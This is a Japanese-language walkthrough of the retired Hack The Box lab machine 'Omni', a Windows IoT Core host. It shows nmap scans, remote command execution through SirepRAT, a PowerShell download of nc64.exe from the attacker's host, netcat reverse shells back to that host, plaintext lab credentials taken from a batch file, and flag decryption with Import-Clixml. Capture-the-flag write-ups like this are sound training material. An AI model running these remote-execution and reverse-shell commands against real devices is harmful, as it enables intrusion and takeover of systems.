本稿では、Hack The Boxにて提供されている Retired Machines の「Omni」に関する攻略方法(Walkthrough)について検証します。
Hack The Boxに関する詳細は、「Hack The Boxを楽しむためのKali Linuxチューニング」を併せてご確認ください。
マシンの詳細
#エグゼクティブサマリー
##ツール
- nmap
- SirepRAT
- NetCat
- Windows Device Portal
- Import-Clixml
詳細手順
ネットワークサービススキャン
nmap
IPアドレス10.10.10.204
をomni.htb
として、/etc/hosts
に追加します。その上で、nmap
を使用し、ポートスキャンを実行します。
kali@kali:~$ nmap -Pn -T4 -A -v omni.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-30 01:41 EDT
NSE: Loaded 151 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 01:41
Completed NSE at 01:41, 0.00s elapsed
Initiating NSE at 01:41
Completed NSE at 01:41, 0.00s elapsed
Initiating NSE at 01:41
Completed NSE at 01:41, 0.00s elapsed
Initiating Connect Scan at 01:41
Scanning omni.htb (10.10.10.204) [1000 ports]
Discovered open port 135/tcp on 10.10.10.204
Discovered open port 8080/tcp on 10.10.10.204
Completed Connect Scan at 01:41, 15.04s elapsed (1000 total ports)
Initiating Service scan at 01:41
Scanning 2 services on omni.htb (10.10.10.204)
Completed Service scan at 01:41, 7.33s elapsed (2 services on 1 host)
NSE: Script scanning 10.10.10.204.
Initiating NSE at 01:41
Completed NSE at 01:41, 4.82s elapsed
Initiating NSE at 01:41
Completed NSE at 01:41, 0.82s elapsed
Initiating NSE at 01:41
Completed NSE at 01:41, 0.00s elapsed
Nmap scan report for omni.htb (10.10.10.204)
Host is up (0.21s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
8080/tcp open upnp Microsoft IIS httpd
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=Windows Device Portal
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Site doesn't have a title.
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
NSE: Script Post-scanning.
Initiating NSE at 01:41
Completed NSE at 01:41, 0.00s elapsed
Initiating NSE at 01:41
Completed NSE at 01:41, 0.00s elapsed
Initiating NSE at 01:41
Completed NSE at 01:41, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.87 seconds
これで、標的にて稼働しているサービスが判明しました。特に気になるのは次の通りです。
ポート番号 | サービス | バージョン |
---|---|---|
135/tcp | msrpc | Microsoft Windows RPC |
8080/tcp | upnp | Microsoft IIS httpd |
HTTPサービスのスキャン
Firefox
ブラウザを使って8080/tcp
にアクセスしてみます。Windows Device Portal
の表記からomni.htb
がWindows IoT Core
であることが特定できました。
しかし、認証画面の先に進むための情報はまだ得られていません。
SirepRAT
「SirepRAT - RCE as SYSTEM on Windows IoT Core」を使ってみます。
pip
をインストールし、不足しているモジュールを導入します。
kali@kali:~$ sudo pip install hexdump
kali@kali:~$ sudo pip install enum
kali@kali:~$ sudo pip install enum34
Web ShellのGitHubリポジトリを取得します。
kali@kali:~$ git clone https://github.com/SafeBreach-Labs/SirepRAT
SirepRAT.py
コマンドにて、システム情報の取得を試みます。コマンド構文は次のとおりです。
kali@kali:~$ python SirepRAT.py 10.10.10.204 GetSystemInformationFromDevice
<SystemInformationResult | type: 51, payload length: 32, kv: {'wProductType': 0, 'wServicePackMinor': 2, 'dwBuildNumber': 17763, 'dwOSVersionInfoSize': 0, 'dwMajorVersion': 10, 'wSuiteMask': 0, 'dwPlatformId': 2, 'wReserved': 0, 'wServicePackMajor': 1, 'dwMinorVersion': 0, 'szCSDVersion': 0}>
SirepRAT.py
コマンドにて、Kali
からnc64.exe
のダウンロードを行います。
kali@kali:~$ python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args "/c powershell Invoke-Webrequest -OutFile C:\\Windows\\System32\\spool\\drivers\\color\\nc64.exe -Uri http://10.10.14.4:8081/nc64.exe" --v
アクセス権の取得
ユーザーシェルの取得
ポート 1234にてリバースシェルを待ち受けます。
kali@kali:~$ nc -lnvp 1234
listening on [any] 1234 ...
omni.htb
にてリバースシェルを起動します。コマンド構文は次のとおりです。
kali@kali:~$ python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args "/c C:\\Windows\\System32\\spool\\drivers\\color\\nc64.exe 10.10.14.4 1234 -e powershell.exe" --v
$env:UserName
コマンドにて、omni$
権限のシェルが取得できていることを確認します。
PS C:\windows\system32> $env:UserName
omni$
しかし、omni
権限では、user.txt
フラグは取得できません。
システム探索
システム探索の結果、r.bat
ファイルがみつかりました。
PS C:\windows\system32> cd "c:\Program Files\WindowsPowershell\Modules\PackageManagement"
cd "c:\Program Files\WindowsPowershell\Modules\PackageManagement"
PS C:\Program Files\WindowsPowershell\Modules\PackageManagement> ls -force
ls -force
Directory: C:\Program Files\WindowsPowershell\Modules\PackageManagement
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 10/26/2018 11:37 PM 1.0.0.1
-a-h-- 8/21/2020 12:56 PM 247 r.bat
PS C:\Program Files\WindowsPowershell\Modules\PackageManagement>
r.bat
ファイル中に、app/mesh5143
とadministrator/_1nt3rn37ofTh1nGz
の情報を見つけました。
PS C:\Program Files\WindowsPowershell\Modules\PackageManagement> cat r.bat
@echo off
:LOOP
for /F "skip=6" %%i in ('net localgroup "administrators"') do net localgroup "administrators" %%i /delete
net user app mesh5143
net user administrator _1nt3rn37ofTh1nGz
ping -n 3 127.0.0.1
cls
GOTO :LOOP
:EXIT
ユーザー名 | パスワード |
---|---|
app | mesh5143 |
administrator | _1nt3rn37ofTh1nGz |
特権昇格
Windows Device Portal
再び、Firefox
ブラウザを使って8080/tcp
にアクセスしてみます。認証情報としてapp/mesh5143
またはadministrator/_1nt3rn37ofTh1nGz
を使用します。
ログインに成功しました。
NetCatによるリバースシェルの接続
kali
側にて、ポート 4321
にてリバースシェルを待ち受けます。
kali@kali:~$ nc -lnvp 4321
listening on [any] 4321 ...
Windows Device Portal
からリバースシェルを起動します。メニューの[Processes] > [Run command]
を選択します。
テキストボックスに次のコマンド構文を入力し、Run
ボタンをクリックします。
C:\Windows\System32\spool\drivers\color\nc64.exe 10.10.14.4 4321 -e powershell.exe
Windows Device Portal
ログイン時に使用したアカウントに応じた権限にてリバースシェルの接続を確立することができました。
PS C:\windows\system32> $env:UserName
app
PS C:\windows\system32> $env:UserName
Administrator
システム探索
app/mesh5143
アカウントにて確立したリバースシェルにてシステム探索を行います。
user.txt
フラグをC:\Data\Users\app
にみつけました。
PS C:\Data\Users\app> ls
ls
Directory: C:\Data\Users\app
Mode LastWriteTime Length Name
---- ------------- ------ ----
d-r--- 7/4/2020 7:28 PM 3D Objects
d-r--- 7/4/2020 7:28 PM Documents
d-r--- 7/4/2020 7:28 PM Downloads
d----- 7/4/2020 7:28 PM Favorites
d-r--- 7/4/2020 7:28 PM Music
d-r--- 7/4/2020 7:28 PM Pictures
d-r--- 7/4/2020 7:28 PM Videos
-ar--- 7/4/2020 8:20 PM 344 hardening.txt
-ar--- 7/4/2020 8:14 PM 1858 iot-admin.xml
-ar--- 7/4/2020 9:53 PM 1958 user.txt
user.txt
ファイルの内容は暗号化されています。このままではフラグの登録はできません。
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
<Obj RefId="0">
<TN RefId="0">
<T>System.Management.Automation.PSCredential</T>
<T>System.Object</T>
</TN>
<ToString>System.Management.Automation.PSCredential</ToString>
<Props>
<S N="UserName">flag</S>
<SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb010000009e131d78fe272140835db3caa288536400000000020000000000106600000001000020000000ca1d29ad4939e04e514d26b9706a29aa403cc131a863dc57d7d69ef398e0731a000000000e8000000002000020000000eec9b13a75b6fd2ea6fd955909f9927dc2e77d41b19adde3951ff936d4a68ed750000000c6cb131e1a37a21b8eef7c34c053d034a3bf86efebefd8ff075f4e1f8cc00ec156fe26b4303047cee7764912eb6f85ee34a386293e78226a766a0e5d7b745a84b8f839dacee4fe6ffb6bb1cb53146c6340000000e3a43dfe678e3c6fc196e434106f1207e25c3b3b0ea37bd9e779cdd92bd44be23aaea507b6cf2b614c7c2e71d211990af0986d008a36c133c36f4da2f9406ae7</SS>
</Props>
</Obj>
</Objs>
user.txt
ファイルとCLIXMLファイルをインポートします。ここでは、$credential
変数に格納しています。
$credential
変数から、GetNetworkCredential()
メソッドを使い、Password
をとりだします。これでフラグを取得することができました。
PS C:\windows\system32> $credential = Import-CliXml -Path "C:\Data\Users\app\user.txt"
$credential = Import-CliXml -Path "C:\Data\Users\app\user.txt"
PS C:\windows\system32> $credential.GetNetworkCredential().Password
$credential.GetNetworkCredential().Password
7cfd{BLOCKED}9d70
administrator/_1nt3rn37ofTh1nGz
アカウントにて確立したリバースシェルにてシステム探索を行います。
root.txt
フラグをC:\Data\Users\administrator
にみつけました。
PS C:\Data\Users\administrator> ls
ls
Directory: C:\Data\Users\administrator
Mode LastWriteTime Length Name
---- ------------- ------ ----
d-r--- 7/3/2020 11:23 PM 3D Objects
d-r--- 7/3/2020 11:23 PM Documents
d-r--- 7/3/2020 11:23 PM Downloads
d----- 7/3/2020 11:23 PM Favorites
d-r--- 7/3/2020 11:23 PM Music
d-r--- 7/3/2020 11:23 PM Pictures
d-r--- 7/3/2020 11:23 PM Videos
-ar--- 7/4/2020 9:48 PM 1958 root.txt
user.txt
ファイルと同様に、root.txt
ファイルの内容は暗号化されています。
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
<Obj RefId="0">
<TN RefId="0">
<T>System.Management.Automation.PSCredential</T>
<T>System.Object</T>
</TN>
<ToString>System.Management.Automation.PSCredential</ToString>
<Props>
<S N="UserName">flag</S>
<SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb0100000011d9a9af9398c648be30a7dd764d1f3a000000000200000000001066000000010000200000004f4016524600b3914d83c0f88322cbed77ed3e3477dfdc9df1a2a5822021439b000000000e8000000002000020000000dd198d09b343e3b6fcb9900b77eb64372126aea207594bbe5bb76bf6ac5b57f4500000002e94c4a2d8f0079b37b33a75c6ca83efadabe077816aa2221ff887feb2aa08500f3cf8d8c5b445ba2815c5e9424926fca73fb4462a6a706406e3fc0d148b798c71052fc82db4c4be29ca8f78f0233464400000008537cfaacb6f689ea353aa5b44592cd4963acbf5c2418c31a49bb5c0e76fcc3692adc330a85e8d8d856b62f35d8692437c2f1b40ebbf5971cd260f738dada1a7</SS>
</Props>
</Obj>
</Objs>
手順は、user.txt
ファイルと同様です。
PS C:\windows\system32> $credential = Import-CliXml -Path "C:\Data\Users\administrator\root.txt"
$credential = Import-CliXml -Path "C:\Data\Users\administrator\root.txt"
PS C:\windows\system32> $credential.GetNetworkCredential().Password
$credential.GetNetworkCredential().Password
5dbd{BLOCKED}f11d
参考情報
- SirepRAT Abusing a Windows service for RCE, https://www.woprsummit.org/slides-archive/SirepRAT_RCEasSYSTEMonWindowsIoTCore-WOPRSummit.pdf
- GUIユーザーのためのPowerShell入門 「システム情報の取得」, https://news.mynavi.jp/itsearch/article/hardware/1159
- Windows Device Portal, https://docs.microsoft.com/ja-jp/windows/iot-core/manage-your-device/deviceportal
- Microsoft.PowerShell.Utility - Import-Clixml, https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/import-clixml?view=powershell-7